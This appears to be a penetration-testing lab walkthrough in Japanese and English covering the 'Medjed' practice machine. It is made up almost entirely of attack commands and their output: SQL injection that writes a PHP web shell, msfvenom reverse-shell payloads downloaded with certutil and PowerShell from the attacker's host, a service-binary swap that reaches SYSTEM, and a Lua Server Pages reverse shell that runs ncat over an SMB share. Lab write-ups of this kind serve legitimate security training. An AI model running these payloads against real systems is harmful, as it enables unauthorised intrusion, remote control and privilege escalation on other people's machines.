drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 tmp
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 vendor
226 Transfer OK
ftp> exit
221 Goodbye
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ lftp -p "30021" -u anonymous,anonymous "192.168.240.127" -e 'mirror / ./ftp_download; bye'
Total: 42 directories, 73 files, 0 symlinks
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$
⇒anonymous が有効だが、有益な情報なし
HTTP列挙
8000/tcp open http-alt BarracudaServer.com (Windows)
33033/tcp open unknown
44330/tcp open ssl/unknown
45332/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
45443/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
8000/tcp open http-alt BarracudaServer.com (Windows)
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ dirsearch -u http://192.168.240.127:8000/ -e php,txt,bak,zip,conf -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, zip, conf | HTTP method: GET | Threads: 25 | Wordlist size: 11495
Output File: /home/kali/oscp/pGpractice/Medjed/192.168.240.127/reports/http_192.168.240.127_8000/__26-09-22_21-40-29.txt
Target: http://192.168.240.127:8000/
[21:40:29] Starting:
[21:40:31] 302 - 0B - /+CSCOT+/oem -> http://192.168.240.127:8000/%20CSCOT%20/oem/
[21:40:31] 302 - 0B - /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua -> http://192.168.240.127:8000/%20CSCOT%20/oem-customization/?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
[21:40:31] 302 - 0B - /+CSCOT+/translation -> http://192.168.240.127:8000/%20CSCOT%20/translation/
[21:40:31] 302 - 0B - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ -> http://192.168.240.127:8000/%20CSCOT%20/translation-table/?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language=&lang=../
[21:40:56] 200 - 3KB - /blog/
[21:40:57] 302 - 0B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -> http://etc/passwd/
[21:41:06] 200 - 600B - /favicon.ico
[21:41:30] 302 - 0B - /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession -> http:////dev/cmdb/sslvpn_websession
[21:41:30] 302 - 0B - /remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd -> http:////bin/sslvpnd
Task Completed
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
[21:40:56] 200 - 3KB - /blog/
[21:41:06] 200 - 600B - /favicon.ico
33033/tcp open unknown
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ dirsearch -u http://192.168.240.127:33033/ -e php,txt,bak,zip,conf -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, zip, conf | HTTP method: GET | Threads: 25 | Wordlist size: 11495
Output File: /home/kali/oscp/pGpractice/Medjed/192.168.240.127/reports/http_192.168.240.127_33033/__26-09-22_21-40-45.txt
Target: http://192.168.240.127:33033/
[21:40:45] Starting:
[21:41:58] 200 - 2KB - /404
[21:44:29] 200 - 1KB - /login.jsp
[21:44:29] 200 - 1KB - /login.html
[21:44:29] 200 - 1KB - /login.htm
[21:44:29] 200 - 1KB - /login.cgi
[21:44:29] 200 - 1KB - /login
[21:44:30] 302 - 100B - /logout.conf -> http://192.168.240.127:33033/login
[21:44:30] 302 - 100B - /logout.asp -> http://192.168.240.127:33033/login
[21:44:30] 302 - 100B - /logout/ -> http://192.168.240.127:33033/login
[21:44:50] 200 - 99B - /robots.txt
[21:45:05] 406 - 99KB - /users.txt
Task Completed
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$
[21:41:58] 200 - 2KB - /404
[21:44:29] 200 - 1KB - /login.jsp
[21:44:29] 200 - 1KB - /login.html
[21:44:29] 200 - 1KB - /login.htm
[21:44:29] 200 - 1KB - /login.cgi
[21:44:29] 200 - 1KB - /login
44330/tcp open ssl/unknown
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ dirsearch -u https://192.168.240.127:44330/ -e php,txt,bak,zip,conf -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, zip, conf | HTTP method: GET | Threads: 25 | Wordlist size: 11495
Output File: /home/kali/oscp/pGpractice/Medjed/192.168.240.127/reports/https_192.168.240.127_44330/__26-09-22_21-41-01.txt
Target: https://192.168.240.127:44330/
[21:41:01] Starting:
[21:41:04] 302 - 0B - /+CSCOT+/oem -> https://192.168.240.127:44330/%20CSCOT%20/oem/
[21:41:04] 302 - 0B - /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua -> https://192.168.240.127:44330/%20CSCOT%20/oem-customization/?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
[21:41:04] 302 - 0B - /+CSCOT+/translation -> https://192.168.240.127:44330/%20CSCOT%20/translation/
[21:41:04] 302 - 0B - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ -> https://192.168.240.127:44330/%20CSCOT%20/translation-table/?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language=&lang=../
[21:41:34] 200 - 3KB - /blog/
[21:41:35] 302 - 0B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -> https://etc/passwd/
[21:41:45] 200 - 600B - /favicon.ico
[21:42:05] 302 - 0B - /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession -> https:////dev/cmdb/sslvpn_websession
[21:42:05] 302 - 0B - /remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd -> https:////bin/sslvpnd
Task Completed
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$
[21:41:45] 200 - 600B - /favicon.ico
[21:41:34] 200 - 3KB - /blog/
45332/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ dirsearch -u http://192.168.240.127:45332/ -e php,txt,bak,zip,conf -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, zip, conf | HTTP method: GET | Threads: 25 | Wordlist size: 11495
Output File: /home/kali/oscp/pGpractice/Medjed/192.168.240.127/reports/http_192.168.240.127_45332/__26-09-22_21-41-21.txt
Target: http://192.168.240.127:45332/
[21:41:21] Starting:
[21:41:22] 403 - 308B - /%C0%AE%C0%AE%C0%AF
[21:41:22] 403 - 308B - /%3f/
[21:41:22] 403 - 308B - /%ff
[21:41:27] 403 - 308B - /.ht_wsr.txt
[21:41:27] 403 - 308B - /.htaccess.bak1
[21:41:27] 403 - 308B - /.htaccess.orig
[21:41:27] 403 - 308B - /.htaccess.sample
[21:41:27] 403 - 308B - /.htaccess.save
[21:41:27] 403 - 308B - /.htaccess_sc
[21:41:27] 403 - 308B - /.htaccessBAK
[21:41:27] 403 - 308B - /.htaccess_extra
[21:41:27] 403 - 308B - /.htaccess_orig
[21:41:27] 403 - 308B - /.htaccessOLD
[21:41:27] 403 - 308B - /.htaccessOLD2
[21:41:27] 403 - 308B - /.htm
[21:41:27] 403 - 308B - /.html
[21:41:27] 403 - 308B - /.httr-oauth
[21:41:27] 403 - 308B - /.htpasswd_test
[21:41:27] 403 - 308B - /.htpasswds
[21:41:43] 403 - 308B - /cgi-bin/
[21:41:44] 500 - 642B - /cgi-bin/printenv.pl
[21:41:51] 503 - 408B - /examples
[21:41:51] 503 - 408B - /examples/
[21:41:51] 503 - 408B - /examples/servlet/SnoopServlet
[21:41:51] 503 - 408B - /examples/jsp/index.html
[21:41:51] 503 - 408B - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[21:41:51] 503 - 408B - /examples/jsp/snp/snoop.jsp
[21:41:51] 503 - 408B - /examples/servlets/servlet/RequestHeaderExample
[21:41:51] 503 - 408B - /examples/servlets/servlet/CookieExample
[21:41:51] 503 - 408B - /examples/servlets/index.html
[21:41:51] 503 - 408B - /examples/websocket/index.xhtml
[21:41:53] 403 - 308B - /index.php::$DATA
[21:42:01] 200 - 90KB - /phpinfo.php
[21:42:01] 403 - 308B - /phpmyadmin
[21:42:02] 403 - 308B - /phpmyadmin/
[21:42:02] 403 - 308B - /phpmyadmin/docs/html/index.html
[21:42:02] 403 - 308B - /phpmyadmin/README
[21:42:02] 403 - 308B - /phpmyadmin/index.php
[21:42:02] 403 - 308B - /phpmyadmin/ChangeLog
[21:42:02] 403 - 308B - /phpmyadmin/phpmyadmin/index.php
[21:42:02] 403 - 308B - /phpmyadmin/doc/html/index.html
[21:42:02] 403 - 308B - /phpmyadmin/scripts/setup.php
[21:42:06] 403 - 427B - /server-info
[21:42:06] 403 - 427B - /server-status
[21:42:06] 403 - 427B - /server-status/
[21:42:12] 403 - 308B - /Trace.axd::$DATA
[21:42:15] 403 - 308B - /web.config::$DATA
[21:42:15] 403 - 308B - /webalizer
[21:42:15] 403 - 308B - /webalizer/
Task Completed
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$
[21:42:01] 200 - 90KB - /phpinfo.php
45443/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ dirsearch -u http://192.168.240.127:45443/ -e php,txt,bak,zip,conf -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, zip, conf | HTTP method: GET | Threads: 25 | Wordlist size: 11495
Output File: /home/kali/oscp/pGpractice/Medjed/192.168.240.127/reports/http_192.168.240.127_45443/__26-09-22_21-41-36.txt
Target: http://192.168.240.127:45443/
[21:41:36] Starting:
[21:41:38] 403 - 308B - /%3f/
[21:41:38] 403 - 308B - /%C0%AE%C0%AE%C0%AF
[21:41:38] 403 - 308B - /%ff
[21:41:40] 403 - 308B - /.ht_wsr.txt
[21:41:40] 403 - 308B - /.htaccess.bak1
[21:41:40] 403 - 308B - /.htaccess.orig
[21:41:40] 403 - 308B - /.htaccess.save
[21:41:40] 403 - 308B - /.htaccess.sample
[21:41:40] 403 - 308B - /.htaccess_orig
[21:41:40] 403 - 308B - /.htaccess_extra
[21:41:40] 403 - 308B - /.htaccessOLD2
[21:41:40] 403 - 308B - /.html
[21:41:40] 403 - 308B - /.htm
[21:41:40] 403 - 308B - /.htaccess_sc
[21:41:40] 403 - 308B - /.htaccessBAK
[21:41:40] 403 - 308B - /.htaccessOLD
[21:41:40] 403 - 308B - /.htpasswds
[21:41:40] 403 - 308B - /.htpasswd_test
[21:41:40] 403 - 308B - /.httr-oauth
[21:41:55] 403 - 308B - /cgi-bin/
[21:41:55] 500 - 642B - /cgi-bin/printenv.pl
[21:42:03] 503 - 408B - /examples
[21:42:03] 503 - 408B - /examples/jsp/index.html
[21:42:03] 503 - 408B - /examples/jsp/snp/snoop.jsp
[21:42:03] 503 - 408B - /examples/
[21:42:03] 503 - 408B - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[21:42:03] 503 - 408B - /examples/servlet/SnoopServlet
[21:42:03] 503 - 408B - /examples/servlets/servlet/CookieExample
[21:42:03] 503 - 408B - /examples/servlets/index.html
[21:42:03] 503 - 408B - /examples/servlets/servlet/RequestHeaderExample
[21:42:03] 503 - 408B - /examples/websocket/index.xhtml
[21:42:05] 403 - 308B - /index.php::$DATA
[21:42:14] 200 - 90KB - /phpinfo.php
[21:42:14] 403 - 308B - /phpmyadmin
[21:42:14] 403 - 308B - /phpmyadmin/
[21:42:14] 403 - 308B - /phpmyadmin/doc/html/index.html
[21:42:14] 403 - 308B - /phpmyadmin/ChangeLog
[21:42:15] 403 - 308B - /phpmyadmin/docs/html/index.html
[21:42:15] 403 - 308B - /phpmyadmin/index.php
[21:42:15] 403 - 308B - /phpmyadmin/phpmyadmin/index.php
[21:42:15] 403 - 308B - /phpmyadmin/scripts/setup.php
[21:42:15] 403 - 308B - /phpmyadmin/README
[21:42:18] 403 - 427B - /server-status/
[21:42:18] 403 - 427B - /server-status
[21:42:18] 403 - 427B - /server-info
[21:42:23] 403 - 308B - /Trace.axd::$DATA
[21:42:25] 403 - 308B - /web.config::$DATA
[21:42:25] 403 - 308B - /webalizer
[21:42:25] 403 - 308B - /webalizer/
Task Completed
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$
[21:42:01] 200 - 90KB - /phpinfo.php
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ curl http://192.168.240.127:45443/phpinfo.php |grep -i root
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0<tr><td class="e">Server Root </td><td class="v">C:/xampp/apache </td></tr>
<tr><td class="e">SystemRoot </td><td class="v">C:\WINDOWS </td></tr>
<tr><td class="e">DOCUMENT_ROOT </td><td class="v">C:/xampp/htdocs </td></tr>
<tr><td class="e">CONTEXT_DOCUMENT_ROOT </td><td class="v">C:/xampp/htdocs </td></tr>
<tr><td class="e">doc_root</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">docref_root</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">SystemRoot </td><td class="v">C:\WINDOWS </td></tr>
<tr><td class="e">$_SERVER['SystemRoot']</td><td class="v">C:\WINDOWS</td></tr>
<tr><td class="e">$_SERVER['DOCUMENT_ROOT']</td><td class="v">C:/xampp/htdocs</td></tr>
<tr><td class="e">$_SERVER['CONTEXT_DOCUMENT_ROOT']</td><td class="v">C:/xampp/htdocs</td></tr>
100 90761 0 90761 0 0 227k 0 --:--:-- --:--:-- --:--:-- 227k
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$
CONTEXT_DOCUMENT_ROOT
https://www.revshells.com/
PHP Ivan Sincek
nc -lvnp 4444
curl -i http://192.168.240.127:45332/shell.php
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ curl -i http://192.168.240.127:45332/shell.php
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.45.237] from (UNKNOWN) [192.168.240.127] 50807
SOCKET: Shell has connected! PID: 2536
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.
C:\xampp\htdocs>whoami
medjed\jerren
C:\xampp\htdocs>
PS C:\Users\Jerren\Desktop> ipconfig; hostname; whoami; cat local.txt
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.240.127
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.240.254
medjed
medjed\jerren
5db9e6b9e544ddf85878ad495e023225
PS C:\Users\Jerren\Desktop>
別解①
SQLインジェクション
http://192.168.240.127:33033/
evren.eagan@company.com
joe.webb@company.com
jerren.devops@company.com
kenneth.dooley@company.com
laura.lauer@company.com
christopher@company.com
pwリセットできた
jerren.devops
paranoid
password
Request Profile SLUG (experimental)
http://192.168.240.127:33033/slug?URL=%27
curl -i -G "http://192.168.240.127:33033/slug" --data-urlencode "URL='"
ActiveRecord::StatementInvalid in SlugController#index
Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1
' OR 1=1-- -
' OR 1=2-- -
curl -i -G "http://192.168.240.127:33033/slug" --data-urlencode "URL=' OR 1=1-- -"
curl -i -G "http://192.168.240.127:33033/slug" --data-urlencode "URL=' OR 1=2-- -"
time curl -sG "http://192.168.240.127:33033/slug" --data-urlencode "URL=' OR SLEEP(0)-- -" -o /dev/null
time curl -sG "http://192.168.240.127:33033/slug" --data-urlencode "URL=' OR SLEEP(3)-- -" -o /dev/null
' UNION SELECT '' INTO OUTFILE 'C:/xampp/htdocs/cmd.php'-- -
curl -G "http://192.168.240.127:33033/slug" --data-urlencode "URL=' UNION SELECT '' INTO OUTFILE 'C:/xampp/htdocs/cmd.php'-- -"
curl "http://192.168.240.127:45332/cmd.php?cmd=whoami"
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ curl -G "http://192.168.240.127:33033/slug" --data-urlencode "URL=' UNION SELECT '<?php system(\$_GET[\"cmd\"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/cmd.php'-- -"
<!DOCTYPE html>
<html>
<head>
<title>UserproMedjed</title>
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="9ufgvpDmYcpaPmNi/52IUEEhlPISd+wxwMNfrdgnmHolMKzXDo+3KzqPs0BI5ah33UJJ1S/ckmYwzevbYQ+cQA==" />
<link rel="stylesheet" media="all" href="/assets/application.debug-71e043d7ded074792b5f48a65378036a0d0493d06a4574d8d56acaad4bb6a7d2.css" data-turbolinks-track="reload" />
<script src="/packs/js/application-9afcbb5693aa87623e69.js" data-turbolinks-track="reload"></script>
</head>
<body>
<br>
<div id="aboutpage" class="main">
<div class="about-section">
<h1>Sugoid</h1>
<h2>Requesting Profile SLUG</h2>
</div>
<p id="notice"></p>
<div class="row" style="padding:20px">
<form action="/slug" accept-charset="UTF-8" method="get">
URL: <input type="text" name="URL">
<input type="submit" value="Request">
</form> </div>
<div class="row" style="padding:20px">
<a href="/users">Back</a>
</div>
</div>
</body>
</html>
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ curl "http://192.168.240.127:45332/cmd.php?cmd=whoami"
medjed\jerren
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.237 LPORT=5555 -f exe -o shell.exe
python3 -m http.server 8000
curl -G "http://192.168.240.127:45332/cmd.php" --data-urlencode 'cmd=certutil -urlcache -split -f http://192.168.45.237:8000/shell.exe C:\xampp\htdocs\shell.exe'
curl -G "http://192.168.240.127:45332/cmd.php" --data-urlencode 'cmd=powershell -c "iwr http://192.168.45.237:8000/shell.exe -OutFile C:\xampp\htdocs\shell.exe"'
curl -i -G "http://192.168.240.127:45332/cmd.php" --data-urlencode 'cmd=dir C:\xampp\htdocs'
nc -lvnp 5555
curl "http://192.168.240.127:45332/cmd.php?cmd=C:\xampp\htdocs\shell.exe"
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.240.127 - - [22/Sep/2026 22:36:32] "GET /shell.exe HTTP/1.1" 200 -
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ curl -G "http://192.168.240.127:45332/cmd.php" --data-urlencode 'cmd=powershell -c "iwr http://192.168.45.237:8000/shell.exe -OutFile C:\xampp\htdocs\shell.exe"'
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ curl -i -G "http://192.168.240.127:45332/cmd.php" --data-urlencode 'cmd=dir C:\xampp\htdocs'
HTTP/1.1 200 OK
Date: Tue, 22 Sep 2026 13:36:46 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
X-Powered-By: PHP/7.3.23
Content-Length: 641
Content-Type: text/html; charset=UTF-8
Volume in drive C has no label.
Volume Serial Number is A41E-B108
Directory of C:\xampp\htdocs
09/22/2026 08:36 AM <DIR> .
09/22/2026 08:36 AM <DIR> ..
09/22/2026 08:16 AM 31 cmd.php
11/03/2020 02:13 PM 887 index.html
11/03/2020 02:16 PM 21 phpinfo.php
11/03/2020 02:13 PM 3,023 script.js
09/22/2026 08:36 AM 7,168 shell.exe
09/22/2026 07:56 AM 9,288 shell.php
11/03/2020 02:14 PM 1,266 styles.css
7 File(s) 21,684 bytes
2 Dir(s) 16,469,987,328 bytes free
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.45.237] from (UNKNOWN) [192.168.240.127] 51145
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.
C:\xampp\htdocs>whoami
whoami
medjed\jerren
C:\xampp\htdocs>
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ curl "http://192.168.240.127:45332/cmd.php?cmd=C:\xampp\htdocs\shell.exe"
C:\xampp\htdocs>type C:\Users\Jerren\Desktop\local.txt
type C:\Users\Jerren\Desktop\local.txt
4d89572f55b0bb0aa7a9271a9dfba659
C:\xampp\htdocs>
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└─$ searchsploit BarracudaDrive 6.5
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
BarracudaDrive v6.5 - Insecure Folder Permissions | windows/local/48789.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└─$
searchsploit -x windows/local/48789.txt
searchsploit -m windows/local/48789.txt
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ searchsploit -x windows/local/48789.txt
Exploit: BarracudaDrive v6.5 - Insecure Folder Permissions
URL: https://www.exploit-db.com/exploits/48789
Path: /usr/share/exploitdb/exploits/windows/local/48789.txt
Codes: N/A
Verified: False
File Type: C source, ASCII text
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ searchsploit -m windows/local/48789.txt
Exploit: BarracudaDrive v6.5 - Insecure Folder Permissions
URL: https://www.exploit-db.com/exploits/48789
Path: /usr/share/exploitdb/exploits/windows/local/48789.txt
Codes: N/A
Verified: False
File Type: C source, ASCII text
cp: overwrite '/home/kali/oscp/pGpractice/Medjed/192.168.240.127/48789.txt'?
Copied to: /home/kali/oscp/pGpractice/Medjed/192.168.240.127/48789.txt
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$
nc -lvnp 5555
cacls C:\bd
cacls C:\bd\bd.exe
sc qc bd
whoami
cd C:\bd
move bd.exe bd.exe.bak
copy C:\xampp\htdocs\shell.exe C:\bd\bd.exe
shutdown /r
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.45.237] from (UNKNOWN) [192.168.240.127] 51145
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.
C:\xampp\htdocs>whoami
whoami
medjed\jerren
C:\xampp\htdocs>
C:\xampp\htdocs>cacls C:\bd
cacls C:\bd
C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\xampp\htdocs>whoami
whoami
medjed\jerren
C:\xampp\htdocs>cacls C:\bd
cacls C:\bd
C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\xampp\htdocs>cacls C:\bd\bd.exe
cacls C:\bd\bd.exe
C:\bd\bd.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\xampp\htdocs>sc qc bd
sc qc bd
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: bd
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\bd\bd.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : BarracudaDrive ( bd ) service
DEPENDENCIES : Tcpip
SERVICE_START_NAME : LocalSystem
C:\xampp\htdocs>whoami
whoami
medjed\jerren
C:\xampp\htdocs>^C
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.45.237] from (UNKNOWN) [192.168.240.127] 49668
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
nt authority\system
C:\WINDOWS\system32>
PS C:\Users\Administrator\Desktop> ipconfig; hostname; whoami; cat proof.txt
ipconfig; hostname; whoami; cat proof.txt
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.240.127
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.240.254
medjed
nt authority\system
ffc16b02b4f2d13d5f34873cbbddbb85
PS C:\Users\Administrator\Desktop>
別解②
fuguhub write
で検索
以下のような方法もあるらしい
https://medium.com/@Dpsypher/proving-grounds-practice-medjed-09adfeceaa74
https://github.com/the-emmons/lsp-reverse-shell/blob/main/README.md
Target: http://192.168.240.127:8000/
[21:41:06] 200 - 600B - /favicon.ico
192.168.240.127:8000
直下には
favicon.ico
があることが分かっている。
http://192.168.240.127:8000/fs/C/bd/cmsdocs/
s/C/xampp/htdocs/
git clone https://github.com/the-emmons/lsp-reverse-shell
cd lsp-reverse-shell
IPアドレスを変更
sudo impacket-smbserver SMB . -comment share -ts -debug -smb2support -username user -password 'pass'
sudo nc -nlvp 135
curl http://192.168.240.127:8000/rev.lsp
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ git clone https://github.com/the-emmons/lsp-reverse-shell
Cloning into 'lsp-reverse-shell'...
remote: Enumerating objects: 33, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (32/32), done.
remote: Total 33 (delta 8), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (33/33), 479.39 KiB | 5.85 MiB/s, done.
Resolving deltas: 100% (8/8), done.
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ cd lsp-reverse-shell
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ code rev.lsp
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ cat rev.lsp
<div style="margin-left:auto;margin-right: auto;width: 350px;">
<div id="info">
<h2>Lua Server Pages Reverse Shell</h2>
<p>Delightful, isn't it?</p>
</div>
<?lsp if request:method() == "GET" then ?>
<?lsp os.execute("cmd.exe /c net use x: \\\\192.168.45.237\\SMB /user:user pass & x:\\ncat.exe 192.168.45.237 135 -e cmd.exe") ?>
<?lsp else ?>
You sent a <?lsp=request:method()?> request
<?lsp end ?>
</div>
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ sudo impacket-smbserver SMB . -comment share -ts -debug -smb2support -username user -password 'pass'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[2026-09-22 23:04:06] [+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[2026-09-22 23:04:06] [*] Config file parsed
[2026-09-22 23:04:06] [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[2026-09-22 23:04:06] [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[2026-09-22 23:04:06] [*] Config file parsed
[2026-09-22 23:04:06] [*] Config file parsed
[2026-09-22 23:05:28] [*] Incoming connection (192.168.240.127,49850)
[2026-09-22 23:05:28] [*] AUTHENTICATE_MESSAGE (\user,MEDJED)
[2026-09-22 23:05:28] [*] User MEDJED\user authenticated successfully
